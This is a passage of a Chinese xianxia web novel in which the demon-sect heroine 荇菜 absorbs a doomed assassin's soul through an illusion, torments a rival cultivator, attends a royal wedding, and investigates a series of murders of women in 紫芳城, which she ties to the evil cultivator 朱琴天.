他对身侧的水玲珑越发亲昵：“玲珑，长辈都同意你我的事，别再使小性子。你的修为高，朕不过筑基，没有你这么长的生命啊。”
水玲珑沉溺在爱情的蜜糖，揽着他的腰：“放心，我有双修功法，绝不会让你先我而去。”
双修是人间帝王的延寿大法之一。正规的双修功法只有合欢宗可以提供。
合欢宗男女弟子在贵族间受欢迎也有此一大原因。
“好玲珑，朕终于可以迎来最爱之人的子嗣。”崔洧的目光下落，放在水玲珑的纤腰。
**
荇菜察觉额头微凉，轻笑：“何欢，回来了。”
何欢不言，只跃动两下让主人知晓。
荇菜走到九阳剑尊待过的大磐石边，不远处的水面上漂浮一艘军备齐全的战船。一群红衣黑甲的士兵押解一人立在舟头。此人被镣铐锁住，身材魁伟却垂头丧气，似在等待实刑。
荇菜又细看几眼，捂在心口的位置：“莫非这人就是刺杀失败的柏黄？”
她站在渡口，朝士兵道：“本尊乃国主贵客，你们把人押解过来。”
章鹏带人来准备返航，闻言朝士兵颔首，又道：“妖尊，此人名为柏黄，乃是此次在剑仙城刺杀国主的主犯。”
荇菜没理他，待这些人把柏黄押解到面前跪下，弯身掐住犯人的下巴，迫他抬起脸。
柏黄丧气的面容被迫仰看她，女子柔软的目光像是一道光，引动他体内某根神经，痴痴道：“小……仙女。”
荇菜笑了，转而去扶他的手，让人起身：“你叫什么名字？”
“柏黄。”
“当年柏木大将军的幼子，被鬼泣大将军灭门的幸存者。”
柏黄瞬间怒容：“你认识鬼泣？他该死，崔洧更该死。他们杀我全家。苍天有眼，多亏合欢妖女。她在青山城杀死鬼泣，为我全家报仇。”
荇菜凝眉又展笑：“你留在青山城是因为鬼泣死在那？”
“是。我想一见合欢妖女，希望能报恩。但我听说她死了，若她还活着，要我做什么都愿意，就是要命，我也肯给。”
荇菜的笑意更盛，转而说起别的话题：“虽然你姓柏，但你不是柏家人。”
疑似黄椒的分身，该是生无父母，有可能是柏家收养的孩子。
“你怎么知道？”柏黄是柏家被灭门那日知道身世真相。
当年柏家大公子成亲，柏黄也开玩笑想成家，去找柏夫人说笑。
谁知，柏夫人直接拒绝他。柏家大公子替弟弟说情。
柏夫人向大儿子道出实情，柏黄偷听到身世的真相。
柏黄是柏大将军在战场上收养的孩子，京都里相熟的贵妇都知道他的真正身世。柏黄想要娶高门贵女，说亲不易。这才遭柏夫人的拒绝。
柏大公子本想帮弟弟，没想到真相是这样。
柏黄听到对话后，伤心地跑出家门。也亏得有这一出，鬼童灭柏家时柏黄才幸免于难。
“你跟我走吧。”荇菜不嫌弃他的脏污，示意士兵解开他的镣铐。
红衣士兵本要拒绝，却在瞧见荇菜的眼神后下意识按她的要求做。章鹏冷眼看着，没出声阻拦。
荇菜拉上柏黄的手，带他上一艘小舟。
道生花被迫前来，上小舟摇撸。他冷眼看荇菜帮柏黄治疗伤口：“黄鼠狼给鸡拜年，没安好心。”
荇菜没说什么，柏黄已经开口：“这位公子，你可以说我，但不能说仙女。”
“仙女？妖女吧。”道生花接收到荇菜的冷眼，这才真正住口。
“柏公子，你还有什么心愿吗？”
柏黄愣怔了下，小仙女这样问不是很奇怪吗？
“崔洧，崔洧杀我全家，我必要他血债血偿。”
荇菜弹了下脸颊，温柔道：“这样吧，我帮你杀崔洧，你帮我完成一个心愿，怎么样？”
“什么？”柏黄有些反应不过来。突然福灵心至，定睛问，“你是……合欢妖女？”
荇菜含笑驱动蜃珠，小舟四周弥漫水汽，伸手不见五指。
柏黄摇摇晃晃地站起来，摸向前方，与一只柔夷五指相扣：“小仙女，水泽乡怎么突然起大雾？”
道生花在舟头冷嗤：“因为她要吃了你。”哪里有大雾，分明是你入幻境。
“什么？啊……”柏黄心悸而缩手，一动脚，翻出舟外。他以为会跌进水泽乡，却砸在蜃珠洞府内的寒凉冰面。
撑着身体看向俯视而来的荇菜，扣在冰上的手渐渐成拳，咬牙问：“你杀了鬼泣？”
荇菜微顿，轻笑点头：“可以这么说。”又柔笑着：“你不是说可以为本尊献出生命吗？本尊可以满足你最后一个愿望。”
“你能帮我杀了崔洧？”
“本尊答应你。”
“好。我把命给你，你不能失约。”柏黄心下发狠，一把抓起旁边的冰笋，抵在脖子处，最后看眼荇菜：仙女真得很美！
荇菜眯眸，驱动蜃珠，铺展幻境。既然选择死，那就死得开心些。
柏黄以自刎的姿势定在冰面，神情显现紧张。
幻境里，剑仙城的废弃阁楼上，头戴黑巾的柏黄对旁边人说：“一会崔洧就会进城，我们伺机杀下去，杀他个措手不及。”
崔洧的车架缓缓进城，行人被城主霍磊的兵马拦在道外，只有国主车架可以在大街上驰骋。
柏黄带人从窗口一跃而下，帮手们帮他困住蛇瞳妖道和剑修章鹏，而他本人一剑穿过车帘，直击崔洧心口。
车架上，柏黄被霍磊等人包围，手提崔洧人头：“哈哈哈哈，崔洧死
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了，他死了。爹娘，大哥，嫂嫂，我终于替你们报仇雪恨。”
面对城主、蛇瞳妖道等人的反攻，他已经了无遗憾，当众横剑自刎。
幻境消散，柏黄倒在冰面。血在冰上蔓延，逐渐侵入冰层，融展出一片嫣红。
何欢施展灵力，固缚脱体而出的金红阵法。
荇菜祭出体内的羽族精魄，以精魄吸收裂魂破境阵法。
柏黄的神识和裂魂破境阵一直与灵力和精魄僵持，不肯被吸收入精魄。
荇菜咬牙道：“你放心，此愿，来日本尊必为你实现。”
柏黄的神识和裂魂破境阵微颤，最终被吸入精魄，又被精魄内的三色焰火灼烧，渐趋熔蚀消失。
何欢诧异道：“主人，怎么烧没了？”
荇菜睨她，没有出声。
何欢自知失言，回到荇菜的额头。
蜃珠遵循主人的意念，主动冰封柏黄的尸体，又把尸体挪入冰雪大厅。
荇菜捡起柏黄落下的一根白鹤衔珠发簪。发簪是柏大公子的遗物，被柏黄贴身收藏。
她取下发簪上的银珠，塞入万音铃的空铃铛。这是第七枚信物。
“三色火可以侵蚀裂魂破境阵，无法存储黄椒的神识。必须另找它物。”荇菜初见金红阵法时就有此打算：留下阵法，研究它。
凤武离开前，她嘱咐凤武把狐羽的精魄送来。如今第一次试验失败，必须要没有蕴火的精魄才能承载裂魂破境阵，就像狐羽在阳梧山攻击凤武一样，以精魄存储百鸟魂识，就可以用精魄存储黄椒的神识和裂魂破境阵法。
荇菜通过识海内的主仆契约传音：“凤武，本尊需要狐羽的精魄，务必尽快给本尊送来。”
回归天羽宗的凤武豁然睁开眸：该死的妖女，竟然动用主仆契约。
他朝外喊道：“朱红颖，黎耀可从浮空岛出来？”
朱红颖回禀：“凤尊，黎耀和狐羽带人躲进浮空岛，名为拜谒，实则避难。恐怕短时间内他们都不会离开浮空岛城。”
“递上拜帖。本尊不信天龙道连这等叛徒都要庇护。”凤武起身，踏出闭关室。
朱红颖担忧道：“但是，凤尊你的功法……”
凤武大步离去，头也未回。
*
柏黄持有的裂魂破境阵内的神识被荇菜的三色焰灼烧掉那刻，天龙道的天尊大殿里，黄椒掐诀控制的天地魂契在僵持多月后倏忽入体。
一旦签订天地同心魂契，非死不解。这是天道的考验，也是他活命的机会。
“终究败给天定姻缘。天道，这是你留下吾的手段吗？呵。”黄椒转换手诀，感应散在四方的其他分身法体。
**
道生花把舟停在岸边，平静地看着荇菜走上岸。憋了一路，终于问出口：“你解决阵法问题？”
荇菜以为他会问杀死柏黄的事，淡然道：“烧掉了。他可以被杀死。”
道生花笑出声：“做个交易如何？”瞧见荇菜笑，不由抽唇角，“别学本尊，正经问你话呢。”
荇菜近前，抚上他冰凉的肌肤：“藕人之术确实不简单。你的肌体毫无温度。挪阵时，还是不小心破坏他原有的阵法结构。你连修为都恢复不了。”
道生花手痒，一把掐住荇菜的腰肢揽近，逼视她的双眸：“若要行那苟且的事，不需要法体。识海魂交，比法体更畅快。”
荇菜勾住他的脖子，垫起脚尖，凑近他的唇角。
道生花心动，俯下头来亲。下一秒，头离开身体，晶莹的藕丝挂着血滴连接身体两端。
“你！？”
头在荇菜的手上，他震惊到说不出下一个字。
70. 第 70 章
荇菜拉着道生花的头往后退，白玉藕丝坚韧，一直连着他的身体。
她冰冷地笑：“管好你的脑袋吧。”
道生花接住抛回的头，装回藕身，咬牙切齿：“好玩吗？”
“当然。以前，你也是这么玩别人。这叫什么，报应。”荇菜甩袖，自顾离去。
“你知道自己现在变成什么吗？一个只知道复仇的黑寡妇。花涟的死就这么让你疯狂？”道生花大声喊，“无辜的人被你戏弄而死，现在的你成为当初你憎恨得一类人。你已经是彻头彻尾的妖女。”
荇菜停下脚步，氤氲的怒火攀上脸面，变为艳丽的笑靥。
她回望气得口不择言的道生花：“真可笑，听听你在说什么。本尊达不到道生圣莲的要求就这么让你难过吗？你连自己是什么人都忘记！
这个世界上最没资格说本尊得人就是你。
你可以州官放火，以妖元害青虞宗弟子，一朝落魄就不许百姓点灯？
本尊送你一句：别太‘表’。”
道生花僵立，被骂得一个字都输不出。
荇菜轻嗤，看他歪头背身离去，利眸冷声：“本尊允你走吗？跟来。”
道生花望向没有自主权的双腿，扭曲张脸，气得用力下跪，直接折断双腿。又看向主动向她爬去的双手，目露癫狂，弯曲胳膊后狠戳在地，再次折断双臂。
趴在地上得他冷冷地仰看荇菜：“你可以折磨本尊，但本尊可以选择死。”
荇菜揉捏额心的花钿：真是一个比一个倔。
拿脚尖勾起道生花的脸，望入蕴藏风暴的眸子：“凤武没有把狐羽的精魄拿来前，你要活着。你可以在这期间考虑，究竟是有的选好还是直接回归主体没得选好。”
走出两步又侧头，“喜欢待在外面就待着吧。道璇玑，你的师妹不知道你出来的事吧？上一次她给我夫君一戟，若她没死的话，事情就没结束。”
道璇玑为帮你恢复功力，会不会主动献身呢？真是让人期待。
道生花趴在地上，看她袅袅离去。翻过身，仰看树顶上方黑压压低垂的云层。
雨如豆子般砸落，滴进眼眶，滑落耳侧。
人生究竟是什么？圣洁无暇之道、堕落肮脏之路，戏谑他人的恣意痛快还是暮雨临身的凄楚惨境。
道上风景万千，唯独圣莲无浊。通彻世事又如何？不过，一启轮回。
十字箴言：道景万千，独莲无浊。轮回。
欧阳燕歌站在道生花旁边撑着伞，替他遮去大雨：“三生道法尊也会哭，真是人间稀罕事。”
“你是谁？”
“同你一样，他的分身而已。同你一样，想走出一条属于自己的道。同你一样，只因他看上一个女人，影响到我们……也想帮她完成心愿。”
“嗤。你还挺有诗意。”道生花躺在泥水，红着眼。
“在下本就是个行走江湖的贵气书生。”欧阳燕歌蹲下身，细细地欣赏他。
人间有一句：清风徐来道生花，纵苇凌波羽化仙，说得是三生道道生花和天龙道羽化生行走人间的状态。
修真界也有一句：情无定性道生花，面有兮颜羽化生。一个阴晴不定，一个笑面如虎，说得正是两人的性子。
没想到三生道的道生花也有定性着了道得这刻，岂不是人间一大风景。
道生花张口，吞捧伞面斜来的雨水：“你……倒是分得清楚。不过，你可能不知道，这个女人已经强到不需要别人帮忙。”
“不，她不够强。对上他，她需要我们，我们也需要她。”欧阳燕歌背过身，“若你不需要我的帮助，我就走了。”
“……”
唯一可以杀死黄椒的存在，怎么可能不需要分身们的帮助？即使他爱，他们也要推着她去杀。
**
美兕撅着嘴，朝惊雷喊：“夫君，水太热了，我不喜欢嘛。”
“好好好，”惊雷舀来冷水，倒入脚盆，又探水温，“分明已经很凉，娘子怎么还会说热？”
美兕嘻嘻一笑，湿漉漉的白足杵在惊雷的胸口，一下一下地顶着：“人家喜欢冷吗。哦，现在又太冷了。夫君的身体热，帮我暖暖。”
惊雷低头看向捣乱的玉足，没看到她的脸时，总觉得这样做不对。
刚要挪开这不安分的脚，又被美兕勾起下颚，瞧入一双泛紫的水眸：“娘子，你想怎样就怎样。”师弟，你想要什么，师兄都答应你。
美兕滑腻的手顺惊雷的颌骨，落在他的耳垂。臭和尚的耳朵最是敏感，稍稍动动就会受不住。
惊雷的脸色火红，如玉的双足踩在他单膝跪着的膝盖，相贴的彼此衣襟已经凌乱，纤细手指上的水滑过前膛。
妖说：“夫君，我要……吃你啊。”
惊雷的心悸被勾起，气息渐趋急促，压着她扑向床榻。
木床震动的咯吱声从室内传向室外。
荇菜站在小树林边，听着如浪叠起的叫声，转身离去。
惊雷成为妖僧已是事实，美兕做得比预期得还要好，接下来就是等待成果。十方山寺，天下大势所趋，谁能救你们？
一个月后，水玲珑在剑仙城城主霍磊的府邸出嫁。
荇菜是娘家人，为她送嫁。
水玲珑开心地笑着，抚摸扁平的小肚，期待里面已经孕育种子：“行姐，我……”
“幸福吗？”
“嗯？”水玲珑幻想日后的宫廷生活，脸上满是霞光异彩，“他答应我，这胎若是男孩，就封他为太子。”
“若是女子，你让她成为太女吧。”
“啊？”水玲珑愣住。
“注定血雨腥风的宫廷，何不让你和孩子一起痛痛快快呢？所以，无需在意性别。”荇菜的驭音术细细地传入水玲珑的耳内，刮在她的鼻尖让她醒神：“开个玩笑罢了。去吧，祝你在后宫的争斗中永保胜利。记住，合欢宗才是你真正的娘家，合欢宗的本事是你立足后宫的本钱。”
“行姐。”水玲珑眨下眼，揽住荇菜的肩头，感激道，“谢谢。”
在侍女的帮助下，明珰珠帘遮住她娇媚的容颜，幸福就是此时此刻。
荇菜搀着水玲珑的手，绕过霍磊等人，送到城主府的大门外，交给下车来迎的山泽国主崔洧。
单从这一点看，崔洧对玲珑确实有情。
崔洧向荇菜行半身礼，接过水玲珑的手，相视而笑，一起踏上帝王鸾驾。
霍磊作为水玲珑的养父，携带家眷，送水玲珑上车架。又带剑仙城的百姓恭送帝王、帝后车架出剑仙城的城门，送君三里，方才返回城。
城楼上的荇菜身体发轻，感觉体内的灵力涌出一半。
“何欢，这是什么意思？屡次冲击封印不破，怎么就破了？”
何欢：“主人接受半月尊者的考验，完成其中一项任务。心境释怀，封印解半，修为回来一半。恭喜主人。”
荇菜伸手一握，感受到涌动的力量：“余下一半的契机又在哪里？不是任务，而是心境！”
囚困此方世界的心，又该以什么方式释怀？
爸妈，你们还在等吗？
**
剑信如流星，旋飞着落在荇菜的掌心。
禾诗逸：“阿菜，有消息了。速去昆山国和羽民国交界的紫芳城。抱歉，我不能陪你同去，九霄师叔出点状况，我要守在山门。紫芳城会有人接应你。”
荇菜握拳，剑信如灵光消散。
九霄剑尊已经回归青虞宗，说明瑶姬的事情瞒不住。她在宗门是生是死就看命运的安排，前提是阻止朱琴天回到宗门和瑶姬汇合。
男主在女主身边，造成的效应可不止一加一等于二。
身形变得模糊，转瞬人已经不在剑仙城。
火红神风驹拉着琉璃宝车，带上荇菜奔向北方的昆山国。宝车途径西塔国北、羽民国南，横穿小半水泽乡。
昆山国内的宗门名为昆道宗，以擅长炼器著名。此地民风彪悍，男子壮如牛马，女子却水灵如雾，属于两极化生态。
因而，外乡的男修士在此地格外受女子欢迎，也格外不受男子待见。
荇菜着一身白衣男装，貌同花涟，行走在紫芳城。
本地女子路过她时会抛
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来一朵金花，金花落地，发出脆响。
金花的形态各异，代表本地女子对该男子的最高容色赞誉。银花次之，铜花更次，铁花最烂。
荇菜目不斜视，不接金花，寻到青虞宗的标记，入一家名为金老板的客栈。
“掌柜。”
小二细细地扫视荇菜的容貌，高声喊：“金老板，金花客人。”
荇菜蹙眉看向柜后的帘子，柜台上的茶盏因地板的震动而震颤。
手背长毛的大手掀开帘子一角，露出犹如铜陵的大眼，咕噜噜转一圈后紧紧地拉好帘子，遮去帘后的真容。
“贵客是要住店吧。烂银，老规矩，金花客人的食宿全免，送天字号上等客院。”女子纤细的声音婉转如啼。
若不是奇怪的大眼睛和走路传出的巨响，让人太过容易猜到真相，不明情况的人光听女子的声音，会以为帘后是位貌若天仙的女子。
荇菜什么都没说，随烂银小二上后院，入住排屋般的上等客院。
房间里的陈设富丽堂皇，无处不透露金花的美。
这份美中镶嵌古木的沉淀气质，金中透出典雅质感。红檀桌面上摆放一朵宛如牡丹大小的金花，让整间屋子变得更加华丽。
荇菜抚摸金花的薄边，稍许拨弄，金花瓣像是被风拂过般微颤，给人一种栩栩如生的质感。
“好精湛的匠人手艺。”
烂银很高兴听到客人这么说，倒杯茶放到荇菜面前：“客人喜欢就好。请用茶，还有什么吩咐吗？”
“请问此地可有几位剑修入住？”
烂银愣下：“确实有。他们住在隔壁的小院。不过，现下人都出去了。”
荇菜道声谢，发现烂银没走，好奇道：“你有事？”
“客人，我们金老板真是好人。一个女子不可能做那下三滥的事。若你是来收妖收怪，别收错人。咱们金老板在本地生活二十几年，打金花的手艺是姑娘里最棒的，绝对不会像别人说得因为嫉妒才做出伤害姑娘的事。”
荇菜品味一番，反问道：“紫芳城是出什么事吗？”
“啊？你没听说过？客官刚进城？那没事没事……我多嘴了。”烂银拍打嘴巴就要走。
荇菜：“你不说，我也会在城里听说，若你不想我误会你家金老板，不妨细说。”倒杯水，推到桌边，望向回头的烂银。
烂银觉得有道理，下定决心后喝口茶，坐下道：“客人，你问隔壁几位修士，你定也是修仙人。我怕你也是来收妖怪，就先透个底：我家金老板真是好姑娘。
事情是这样，近来城里有三位女子先后死在郊外，被人发现时衣冠不整、死状凄惨，身上被放一朵金花。
金花的形状各异，但不论是手艺还是金子的成色，都像咱们金老板打的花。”
荇菜拨弄下桌面的金花花瓣，理会番他的话意：“三位女子是怎么个死法？”
“这……不就是那事死嘛。城里有人猜测是三生道或者合欢宗的人来我们紫芳城生事。但是，一直没逮到人。又因金花的事，大家怀疑是金老板因嫉恨漂亮女子下手杀人。”
烂银拍桌子，铿锵道，“一定不是咱们金老板干的事。金老板为嫁出去，隔三差五送出一朵金花，至今不超过三十朵，眼光高得很。当然，从来没人回应过她。但是，她不会干这种事啊，一个女子怎么行那丧尽天良的事。”
荇菜打断烂银的话：“行了。你放心，我不会抓你家金老板。她的金花手艺不错，将来定会有欣赏她手艺的男子。”
烂银被这番话感动，起身道：“公子，你真有眼光。我代我家金老板谢谢你。”
“你不就是欣赏她金花的男子吗？”
“啊？”烂银的表情僵在脸上，没想到反转在这。
他赶紧摆手，“不成不成，我欣赏不来她的美。手艺和人是两回事。”一阵着急分辩后端起喝过的茶杯，夺门而出。
“呵，”荇菜哼笑，又沉敛容色，“己所不欲，勿施于人。此等道理都不懂吗？”
晚间，隔壁青虞宗的一行人还没回来，荇菜到前堂问烂银，而后出客栈去寻。
71. 第 71 章
烂银等荇菜走后，深吸口气，憋着气掀起帘子，朝小金炉前纤细窈窕的背影道：“金老板，金花客人出去了，你说‘他’会不会出事啊？”
金老板急切地起身，因动作幅度过大，一炉金液被掀翻在地。
烂银叫了声，顾不得害怕，赶紧进去灭火：“金老板，你别激动，会炸毛。老板……老板？完蛋，老板出去了？这要是再出事，你可就百口莫辩了。”
紫芳城的南郊外，荇菜按禾诗逸教的方式，探查青虞宗人的行迹，一路追踪进山林。半道上，身后传来细索声，她用神识感应，只察觉到一片模糊团。
又走段路，寻机躲进蜃珠洞府。
一团模糊的黑影暴露在月光下，披挂一件遮光的黑色斗篷，兜头盖脸，遮挡他人窥探的神识。
荇菜从蜃珠出来，站在此人背后，幽幽道：“从紫芳城出来后，你就跟我一路，想做什么？”
披风人的身形一阵抖动，两根带毛的手指拉紧披风遮挡身体，又快速向前窜逃。
荇菜勾唇角，半身修为足够用来瞬移。
一瞬间，她挡在披风人的面前，入目的脸面全是毛，只一双眸子大得像二次元漫画里的金瞳眼睛映着圆月，熠熠生辉。
“你别看我。”披风人猛蹲在地上，缩成一团。声音是娇滴滴的女声，正是客栈金老板。
荇菜眨眼，从入目的毛脸画面回到现实，不觉恐惧，反生出几丝兴趣：“女版……猴哥，不，金猴姐？”
“嗯？”金老板仰面看“他”，双手蒙住脸面上下，只露出明亮清澈的金色眼睛，惴惴不安，“你不逃吗？”
荇菜被她逗笑：“难道不是你逃吗？”
金老板慢慢地站起身，依旧捂着脸。手背上的金色毛发越发明显，脸上的毛从指缝里逃出来像调皮的风。
“别人看到我后都是他们先逃跑。你真得欣赏我的金花手艺吗？你喜欢吗？”
“不知道烂银是怎么传达我的话。但是，我确实欣赏你打器……嘘，”荇菜一把拉住金老板的手，往旁边的树丛躲去。
金老板已经震惊到手抖，陪“他”蹲在树丛，轻轻地嗅着“他”和山野的清新气息：我要幸福地昏倒了。
远处一道身影拖着泛光的银剑，跌跌撞撞从山上走来，口里呓语：“救命……救命……”
金老板没来得及晕，比荇菜更快听清那人的呓语。拍打荇菜，希望引起“他”的注意。
荇菜凝神细观，没有理金老板，顺风嗅到血腥气。
瞬移过去接住倒向山道的人，摸到一手血。同时，她感应到有人在暗中窥探，正要去找暗中的人，被怀里的人紧紧地抓住手腕。
“救我……”此人低呼。
荇菜看清此人的服饰、脸面，瞬间明白他的身份：“你是禾诗逸的师弟，丹果？”
“你是……荇……”师姐。丹果重伤，已近垂危，指向逃出来的山上，“凶……”
“谁伤你？”荇菜顺手指望去，似才被偷窥的感觉已经消失。说明暗中的人已经逃走。
“是……”丹果没说完，大张的眼睛里映入金老板挡住月光的毛脸，瞳孔微缩，一下子死过去。
金老板吓一跳：“他是被我吓死吗？呜呜，难道我吓死一个……金花客人？”
荇菜没空搭理她，放下丹果，直奔山上。
“啊，你等等我啊，上面危险。”金老板想跟上去，又怕脚旁的尸体被野兽啃食，徘徊在两难间。
山顶密林里，零星碎尸凌乱地铺展在深浅不一的晦涩草丛。
荇菜摸到叶尖的血，黏腻未干，死后不超过一刻钟。此前在山道上感应到有人窥伺，一定是凶手。
草丛里有青虞宗弟子的身份牌和反光长剑。荇菜一一捡起它们，走不多远，快步过去，抱起一名挂在裙衫里的皮包骨女弟子。
女弟子的五官僵硬，面部苍白灰败，神情像是名画《呐喊》里表现出的孤独和绝望。
荇菜盖住这张脸，试图让她安息：“这等杀人手法像是精气神被瞬间吸收殆尽，典型的邪修纳气术。”
捡起尸体旁的身份牌，上面写：青虞宗，罗玲。
“禾诗逸剑信里交待的弟子中一人。凶手是……朱琴天！”
一把扯下罗玲腰间的储物袋，上面已经没有主人的灵识，但是里面的东西都还在，说明凶手来不及处理尸体。
荇菜将罗玲的尸体收入储物袋，循着拖拽的痕迹，寻到一方山洞。
刺鼻的血味从洞内传来，萦绕周身，令人紧张到忘记作呕。祭出玲珑球，以涅槃火照明，步入洞窟深处。
洞穴道上也有一具鲜血淋漓的男性尸体。
前后一算，禾诗逸派出四名弟子，尽皆死在此地。
荇菜跨过尸体，步入洞窟，着实被眼前景象震惊到失语。
五具干枯、不着寸缕的女性尸体被并排摆在劈出的石台，无一不是被当作炉鼎采补致死。
荇菜深吸口气后，上前捡起尸体上的金花，用力一捏，金花变成一坨碎金。
听到进洞的悉索声，利眸回身，阴戾道：“谁？”
“我！”金猴姐紧张地举起手，手上挂着储物袋，“我把他……们都放进储物袋，上来找你。”
荇菜狐疑地看着她的毛脸，压下颤栗：“你过来看看，这些金花是你打造吗？”
金猴姐急扑过来，捡起尸体上的金花，急切地点头：“是，是我打造的金花，怎么会……”
“你把它们送给谁？”
“这些……它们，不是我同一天打造的金花。其实，我不光给自己打造金花送人，也会接别的女子订单，帮她们打造金花。这是秘密，烂银都不知道这事。咱们紫芳城的传统，女子只有亲手打造金花送给心爱的男子，才显得这份情谊珍贵。但是，紫芳城里很多女子嫌弃打器，担心手变粗糙什么……会偷偷向能打器的女子订购金花。往日，我披着斗篷接单……”
金猴姐看“他”离去，疾步跟去，“你不管这些尸体吗？”
“她们已经死了，管什么？凶手也已经逃掉。”荇菜的心中已经怀疑朱琴天变成邪修。
没有九阳剑尊的纯阳剑诀，没有瑶姬的双修辅助，没有禾诗逸、西双儿的宗门、家族资源，朱琴天想要突破纯阳体质的桎梏，只能依靠双修进阶。
青虞宗人因为他的人品有差而不搭理他，他就得寻求外援。
所谓外援，极有可能是尝到当初瑶姬给他的甜头，通过采补大法快速提升修为。
“证据！必须有证据才能钉死他。”荇菜默默道。
“等等，这是什么？”金猴姐捡起一枚果核，轻嗅着，“灵果的果香。我最爱吃灵果。”
荇菜接过果核，以相同手法轻嗅，撵开果核外壳，露出里面形状特意的包衣种子。
金猴姐从别的尸体旁也找到几枚果核，好奇道：“她们死前都吃这种果子吗？怎么有股蛇腥味？”
荇菜被她的话触动，闭眼沉思，翻阅识海里花涟传输的丹道学识。
下意识舔舐手中的果种，尝到一股腥甜的味道，像是没
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软皮的人参果。一股热力从小腹窜升而起。
豁然睁眼：“这是红丝蛇涎水孕养的蛇果种子。红丝蛇为繁衍，提供给公蛇助情的果子。”
神念电闪，荇菜回想起禾诗逸曾经说过的话。
禾诗逸：“五年前，宗门秘境的试炼场里，他还得些机缘，采回不少灵草，拔除红丝蛇和蛇果，在宗门里立功。红丝蛇性毒喜/淫，蛇果会迷惑弟子，有因误食而死，也有因……做那事至自死方休。他确实做件好事。”
“呵，原来如此。所谓拔除红丝蛇、蛇果，竟是被他私藏起来修炼邪术。朱琴天，我终于抓住你的把柄。这就是证据。”荇菜收起金猴姐手里的蛇果种子，转身离去。
“哎，等等，等等我。”金猴姐疾步跟上荇菜，“你是不是已经知道是谁害她们？你跟我回紫芳城解释清楚。不然，那些人都以为是我因嫉恨杀了她们，影响我客栈的生意。”
荇菜拉开她抓来的手，斜睨：“你敢说没有送金花给他？”扬手勾画灵力，画出朱琴天的容貌。
金猴姐明显认识朱琴天，吓得往后躲：“他……他……他是凶手？”
“你果然见过他。不止你见过，那些问你买金花的女子也见过他吧？他确实长一张不错的脸，比你们紫芳城膀大腰粗的器匠男人多几分……娘娘腔。”
金猴姐摇头，嘴巴又道：“你是夸他还是损他？不对，他易容了，我能窥见他的真容是因为有人煅烧过我的眼睛。但是，别人看他不是这个样子。他还把我的金花扔了，之后我再没见过他。哦，对了，他撞见过我披斗篷接生意的事，我还威胁他不准说出去。订花的女子就是前几天的受害者。”
金猴姐想到什么，跑回尸体边仔细观察金花：“确实是我最近订出去的金花。他在跟踪我……的客人！”
荇菜被她一番信息量颇大的话震住，分辨金猴姐的眼神、毛脸神色，确定她没有撒谎。
“你分辨得出他的易容术？”
“啊？对啊。”金猴姐重重地点头。
荇菜冷嗤：“你真能分辨出来吗？”若你能分辨，怎么看不清眼前人的性别？
蛇果的果核，朱琴天本身的纯阳体质，足以证实他的罪行。
金猴姐听出“他”不信，一把箍住荇菜的手臂：“你不准走，你同我回紫芳城去澄清事实。明日，昆道宗的人会来探查此事。若我说不清楚，会被他们抓走啊。我不要这副样子见人。求求你。”
荇菜沉吟，望入金猴姐可怜兮兮的泛金清澈大眼眸：“昆道宗的人会来？”
“嗯。今夜洞窟里五具女尸，加上前几日的三具，已经八人遇害，加上青虞宗得四名剑修死在这，昆道宗肯定会派人处理此事。你得帮我澄清啊。”
“好吧。”荇菜巴拉她的手臂，却被抱紧到血脉停流，没好气道，“我是女子，你确定要继续抱着我。”
“啊？”金猴姐一巴掌捂在荇菜的身前，鼓鼓囊囊的，确是女子没错。手感太好，又忍不住捏两把，兴奋地炸开毛脸，无毛处泛上一片血色，“好……胸。”
荇菜掐住她的手腕挪开，冷笑：“我真不知道他男女不忌、妖魔不分，连你都有可能是分身。”
“嗯？”金猴姐不明白她说的话，却发现荇菜覆脸过来。两只大金眸随她近前的脸变成斗鸡眼。唇瓣上传来柔软的感觉，体内的灵力被吸走也没察觉，只感到幸福像是天神的光照耀下来，头昏眼花，往后直挺挺地倒在地上：“仙女……好香啊。”
两条鼻血喷挂在颊侧金毛，顺着毛发滴落。
72. 第 72 章
荇菜抹掉被毛戳过的唇边触感，感受从金猴姐处吸来的灵力，与体内的灵力相融。
金猴姐确实是他的分身无疑。但是，有一点很奇怪，这是第一个女子分身。
她踢在金猴姐的腿处：“起来，装什么死。”
金猴姐鲤鱼打滚，巴拉毛脸，抹掉血污，谄媚地笑着：“仙女，再亲一下吧。”
“我是女子，与你性别相同，彼此有障。”荇菜转身下山。
金猴姐眨几次眼，绞尽脑汁想着反驳的话。
仰头看星星，忽闪灵光，想起曾经有人说过这样一番话。
她追上荇菜，开始叭叭输出：“天地……分阴阳前，最初是混沌成团，没有乾坤上下、男女性别的说法。
天地分离，因爱生道。
天生万物，地养万灵。爱无别，性无阶，包容万物，兼爱有道。你我根本没有障。无障无障！”
荇菜诧异地停步，注目她：“兼爱！你倒是懂些‘借道论理、偷换概念’的手段。那么，我告诉你，若你爱上我，注定会死、会消失，你还敢爱吗？”
金猴姐再次被问住，目送她消失在原地，咬着毛手：“这么严重，他没说过这个怎么解呀。”
荇菜本想回青虞宗，转念想，若有昆道宗的人能证实此事就是朱琴天做的，施加压力给青虞宗，绝对能让青虞宗把朱琴天逐出山门。
于是，她又回紫芳城的金老板客栈。
金老板躲在帘子后面，让烂银送许多早点给荇菜。
天亮后不久，街面上吵闹不休。
不少人围在金老板的客栈门前指指点点，说金老板藏头露尾，不露真身；说他女声男相，是毛脸妖精；说他应该是男子，假扮女子是为把姑娘骗上山杀害……
烂银同围观的人一番舌战后躲回客栈，掀帘子就喊：“金老板，怎么办？他们污蔑你杀人，传言越来越离谱。”
此时，紫芳城的守卫抬五具盖白布的尸体到客栈门前，嚷着要金老板出来解释。
围观的众人顿时哗然，一夜间竟又死五人，纷纷帮着吆喝。
紫芳城主让众人安静，高声道：“金老板，听说你神龙见首不见尾，人人传你神秘。如今，一夜死五人，嫌疑都在你身上。你就高抬贵脚，出来解释清楚吧？”
荇菜独自坐在客栈的窗边，如高人般气定神闲地吃着早点。
偶尔睨向拉帘子露眼的金猴姐，没管她使的眼色。
金猴姐真是逗，下山第一时间不回客栈，先跑城主府报案，让人去收尸。这种人若是凶手，那还真是可怕又有趣。
“嘘……嘘！”金猴姐使劲给荇菜示意，荇菜就是不为所动。
片刻后，城主带人把尸体搬进客栈大堂，手下人开始推开桌椅条凳，摆放尸体。
五名身形不等、前后挂护心镜的粗壮男子进店，高声道：“谁是金老板？昆道宗管事在此，还不快出来。藏头缩尾算什么好汉？”
紫坊城主轻声道：“石涛管事，传闻金老板是女子。”
